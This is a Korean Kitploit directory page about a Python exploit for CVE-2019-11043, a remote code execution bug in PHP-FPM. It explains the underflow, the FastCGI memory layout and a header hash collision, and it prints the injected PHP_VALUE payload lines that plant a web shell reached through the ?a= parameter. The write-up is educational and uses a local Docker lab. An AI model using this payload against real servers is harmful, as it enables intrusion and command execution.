Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2019-11043 — PHP-FPM 원격 명령 실행 익스플로잇 | Kitploit
도구/GitHubGitHub/lindemer/cve-2019-11043
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHublindemer/cve-2019-11043

CVE-2019-11043

PHP-FPM 원격 명령 실행 익스플로잇

저장소 보기
425년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2019-11043

PHP-FPM 원격 코드 실행

스크린캐스트: https://youtu.be/d6benC5FVZM

개요

이 제로데이 익스플로잇은 일반적인 PHP-FPM 구성에서 2019년 Realworld CTF 대회 중 발견되었습니다. 요청된 URI를 파싱하는 데 정규 표현식이 사용되지만, 개행 문자 %0a는 일치하지 않습니다. 이로 인해 FastCGI에서 쿼리 문자열 길이를 잘못 계산하고 의도된 버퍼의 시작 앞 위치에 널 바이트를 쓰는 버그가 발생합니다. 쿼리 문자열 길이를 신중하게 선택함으로써, 공격자는 이 버그를 사용하여 서버의 내부 PHP 변수를 덮어쓰고 임의의 셸 코드를 실행할 수 있습니다.

이 익스플로잇의 원래 Go 구현은 여기에서 찾을 수 있습니다. 저는 이 구현과 분석 글, 그리고 원래 버그 리포트를 학습 자료로 사용하여 익스플로잇을 Python으로 구현했습니다.

지침

Linux에서 Docker sudo docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043 명령을 실행하여 /script.php에 빈 스크립트가 있는 기본 NGINX/PHP-FPM 서버를 인스턴스화합니다. 이 이미지의 Dockerfile은 여기에서 확인할 수 있지만, 앞서 언급한 명령을 실행하는 데 필요하지는 않습니다.

Mac에서 Docker vulhub 저장소의 /php/CVE-2019-11043 디렉터리에서 sudo docker-compuse up -d 명령을 실행합니다. (Compose는 Docker for Mac에 포함되어 있습니다.)

python3 exploit.py http://localhost:8080/script.php 명령으로 익스플로잇 스크립트를 실행합니다 (두 번째 옵션을 사용한 경우에는 /index.php). 실행에 성공하면 URL의 ?a= 뒤에 명령을 추가하여 웹 셸에 접근할 수 있습니다 (예: http://localhost:8080/script.php?a=uname -a).

참고: 이 과제를 위해 Ansible 플레이북을 만들어 보려고 했지만 여기에 문서화된 치명적인 버그에 부딪혔습니다. 최신 Linux 커널(예: 모든 Ubuntu LTS 릴리스)에서는 Ansible 플레이북으로 systemd 서비스를 시작할 수 없습니다.

이론

취약점

PHP-FPM 구성 파일에는 들어오는 URI 요청을 PHP 스크립트에 매칭하는 규칙이 포함되어 있으며, 종종 다음과 같습니다:

root@kitploit:~
location ~ [^/]\.php(/|$) {
  ...
  fastcgi_split_path_info       ^(.+?\.php)(/.*)$;
  fastcgi_param PATH_INFO       $fastcgi_path_info;
  fastcgi_pass                  php:9000;
  ...
}

이 규칙은 /script.php/pathinfo 형태의 모든 URI와 일치_해야_ 하지만, 실제로 .는 개행 문자 %0a와 일치하지 않습니다. URI에 개행이 포함되면 PHP 구현에서 다음 버그가 트리거됩니다:

root@kitploit:~
1141    int ptlen = strlen(pt);
1142    int slen = len - ptlen;
1143    int pilen = env_path_info ? strlen(env_path_info) : 0;
1144    int tflag = 0;
1145    char *path_info;
1146    if (apache_was_here) {
1147        /* recall that PATH_INFO won't exist */
1148        path_info = script_path_translated + ptlen;
1149        tflag = (slen != 0 && (!orig_path_info || strcmp(orig_path_info, path_info) != 0));
1150    } else {
1151        path_info = env_path_info ? env_path_info + pilen - slen : NULL;
1152        tflag = (orig_path_info != path_info);
1153    }

여기서 문제는 slen이 URI 길이에서 리소스 경로 길이를 뺀 값으로 올바르게 계산되지만, pilen이 실수로 0으로 설정된다는 것입니다. 이로 인해 1151행에서 path_info가 음수 값으로 설정되어 버퍼 언더플로가 발생합니다. 같은 파일에서 이 잘못된 계산 바로 뒤에는 다음 코드가 있습니다:

root@kitploit:~
1159    FCGI_PUTENV(request, "ORIG_PATH_INFO", orig_path_info);
1160    old = path_info[0];
1161    path_info[0] = 0;
1162    if (!orig_script_name ||
1163        strcmp(orig_script_name, env_path_info) != 0) {
1164        if (orig_script_name) {
1165            FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);
1166        }
1167        SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info);
1168    } else {
1169        SG(request_info).request_uri = orig_script_name;
1170    }
1171    path_info[0] = old;

1161행에서는 이전 단계에서 잘못 계산된 메모리 위치에 널 바이트가 쓰입니다. 이는 FastCGI가 환경 변수를 쓰는 1165행의 취약점을 악용하는 데 사용될 수 있습니다. 환경 변수 쓰기 동작을 제어하는 포인터에 널 바이트를 씀으로써 HTTP 요청을 통해 환경에 임의의 PHP 변수를 삽입할 수 있습니다.

익스플로잇

FastCGI 내부 데이터 구조

FastCGI의 환경 변수는 메모리에서 키-값 문자열 쌍이 촘촘히 채워진 연속체로 저장됩니다. 이 문자열들을 보관하는 버퍼의 시작과 끝을 _fcgi_data_seg라고 합니다. pos 멤버는 다음에 쓸 수 있는 위치를 가리킵니다. 버퍼가 가득 차면 (pos > end), 새 버퍼가 할당되고 next 멤버는 이전 버퍼를 가리킵니다.

root@kitploit:~
118    typedef struct _fcgi_data_seg {
119        char                  *pos;
120        char                  *end;
121    	   struct _fcgi_data_seg *next;
122    	   char                   data[1];
123    } fcgi_data_seg;

FastCGI는 _fcgi_hash라는 해시 테이블을 사용하여 개별 환경 변수에 접근합니다.

root@kitploit:~
125    typedef struct _fcgi_hash {
126    	   fcgi_hash_bucket  *hash_table[FCGI_HASH_TABLE_SIZE];
127    	   fcgi_hash_bucket  *list;
128        fcgi_hash_buckets *buckets;
129        fcgi_data_seg     *data;
130    } fcgi_hash;

여기서 핵심은 pos의 최하위 바이트를 덮어써서 FastCGI가 기존 변수를 덮어쓰도록 속이는 것입니다. 코드는 우리 URI 경로에 추가된 문자열을 가져와 PATH_INFO 위치에 배치하도록 되어 있습니다. 하지만 우리가 덮어쓰려는 대상은 PHP_VALUE입니다. 이 값은 취약한 코드 세그먼트 직후에 즉시 검색되어 PHP 설정에 로드되기 때문입니다.

데이터 정렬

exploit.py에서 볼 수 있듯이, 이 익스플로잇의 일반적인 전제는 우리가 악용할 수 있는 방식으로 FastCGI의 내부 메모리 버퍼를 정렬할 수 있는 매우 긴 URI 쿼리를 찾는 것입니다. 아이디어는 FastCGI가 새 _fcgi_data_seg 버퍼를 할당하는 데 필요한 정확한 문자 수를 찾는 것입니다. 이렇게 되면 FastCGI는 예측 가능하게 우리의 PATH_INFO를 새 버퍼에 쓴 다음, 각 HTTP 헤더를 새 환경 값으로 즉시 이어서 씁니다. 따라서 다음 단계는 우리 목적에 맞게 메모리를 정렬하기 위해 임의의 HTTP 헤더에 몇 개의 문자를 패딩해야 하는지 찾는 것입니다. 우리는 임의의 위치에 널 바이트 하나만 쓸 수 있으므로, pos가 PHP_VALUE에 대한 예측 가능한 오프셋을 가리키게 해서 최하위 바이트를 편집하면 그 위치로 이동하도록 해야 합니다.

해시 테이블 우회

문제는 PHP_VALUE를 덮어쓰고 싶지만 이 값이 메모리에서 어디에 있는지 알 수 없다는 것입니다. FastCGI가 이 변수를 로드할 때 간단한 알고리즘에 따라 문자열 PHP_VALUE를 해시하여 실제 메모리 주소를 얻습니다:

root@kitploit:~
31    #define FCGI_HASH_FUNC(var, var_len) \
32        (UNEXPECTED(var_len < 3) ? (unsigned int)var_len : \
33        (((unsigned int)var[3]) << 2) + \
34        (((unsigned int)var[var_len-2]) << 4) + \
35        (((unsigned int)var[var_len-1]) << 2) + \
36        var_len)

해시 테이블을 실제로 수정하는 대신, 이 함수에 따라 PHP_VALUE와 동일한 문자열 길이와 해시를 가진 다른 환경 변수를 생성하기만 하면 됩니다. 그러면 해시 조회가 의도된 변수 대신 우리의 HTTP 헤더를 읽도록 속일 수 있습니다. 이 익스플로잇의 저자는 EBUT라는 헤더가 FastCGI 환경에서 HTTP_EBUT로 저장되며, 이것이 이 요구 사항을 충족한다는 점을 교묘하게 알아냈습니다.

코드 인젝션

공격 자체에서는 EBUT 헤더가 포함된 GET 요청을 보내고 널 바이트 덮어쓰기 버그를 사용하여 해당 값을 덮어씁니다. 반복적인 요청을 통해 PHP 환경 변수를 한 번에 하나씩 설정하려고 시도합니다:

root@kitploit:~
short_open_tag=1
html_errors=0
include_path=/tmp
auto_prepend_file=a
log_errors=1
error_reporting=2
error_log=/tmp/a
extension_dir=\"<?=`\"
extension=\"$_GET[a]`?>\"

이 모든 변수를 성공적으로 수정하면 서버에서 임의의 셸 코드 실행을 위한 새 쿼리 ?a=가 활성화됩니다. 공격 루프는 which which를 실행하여 각 반복에서 성공 여부를 확인합니다. 공격자는 HTTP 응답(예: /bin/which)에서 결과를 읽어 성공 여부를 쉽게 감지할 수 있습니다.

도구 다운로드